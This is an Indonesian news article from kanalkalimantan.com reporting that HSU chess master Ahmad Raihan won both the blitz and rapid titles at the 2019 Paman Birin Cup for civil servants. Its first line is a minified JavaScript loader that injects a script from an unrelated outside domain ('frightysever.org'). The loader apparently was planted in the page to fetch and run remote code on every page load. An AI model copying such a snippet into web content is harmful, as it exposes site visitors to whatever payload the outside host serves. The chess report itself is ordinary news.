(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Pecatur asal Kabupaten Hulu Sungai Utara (HSU) Ahmad Raihan Hasa, berhasil menyabet dua gelar sekaligus di ajang Paman Birin Cup antar ASN-Korpri yang di selenggarakan dari tanggal 6-8 Agustus 2019 di HKSN Borneo Futsal Banjarmasin.
Ahmad Raihan yang dikenal sebagai master catur nasional asal HSU ini berhasil menyandingkan dua gelar juara sekaligus yaitu Juara I catur pada kategori pertandingan Catur Kilat dan Juara 1 kategori Catur Cepat.
“Saya ucapkan terima kasih kepada Bapak Bupati HSU, Ketua KONI H Barkati, HB dan jajaran pengurus, Ketua Pengcab Percasi HSU Almien Ashar Safari, serta kepada semua pihak yang telah memberikan dukungan dan motivasi juga do’a untuk keberhasilan saya dalam meraih prestasi ini,” ungkapnya kepada kanalkalimantan.com, Jumat (9/8) usai bawa pulang trofi ke Amuntai.
Sebelumnya, dalam pertandingan tersebut, dari 83 peserta perwakilan Kabupaten/kota utusan dari dinas dan instansi, diambil 16 besar yang lolos ke babak selanjutnya, dan di 16 besar tersebut sendiri pertandingannya menggunakan sistem gugur
Di perdelapan final, Raihan sendiri berhasilkan mengalahkan Master Nasional Tuan rumah Johanes, dan dibabak semi final berhasil menang atas Rahmatullah Noor, pecatur dari Tanah Bumbu, Sementara di babak Final nya  Raihan berhasil mengalahkan MP Tri Basuki dari Kotabaru.
Sedangkan pada kategori pertandingan catur cepat di final Raihan berhasil mengalahkan Master Percasi Parhansyah dari Kabupaten Tapin yang merupakan pemain kaya pengalaman sering mewakili Kalsel pada kejurnas catur dan Pornas Korpri. “Kalau pertandingan catur kilat 5 menit per orang , jadi 10 menit sudah selesai, kalau catur cepat 25 menit perorang jadi 50 menit sudah selesai,” ucap Pegawai Kantor Kemenag HSU ini
Menurut Raihan, Perjuangannya dalam meraih gelar juara tersebut sangat melelahkan dan cukup menguras pikiran, karena dalam kejuaraan catur kilat tersebut pada tahap pertama saja sudah menggunakan sistem Swiss 7 babak.
Atas keberhasilannya tersebut disamping dua trofi yang diboyong, ia juga berhak mendapatkan uang total Rp 6 juta, dari dua kategori pertandingan catur (dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.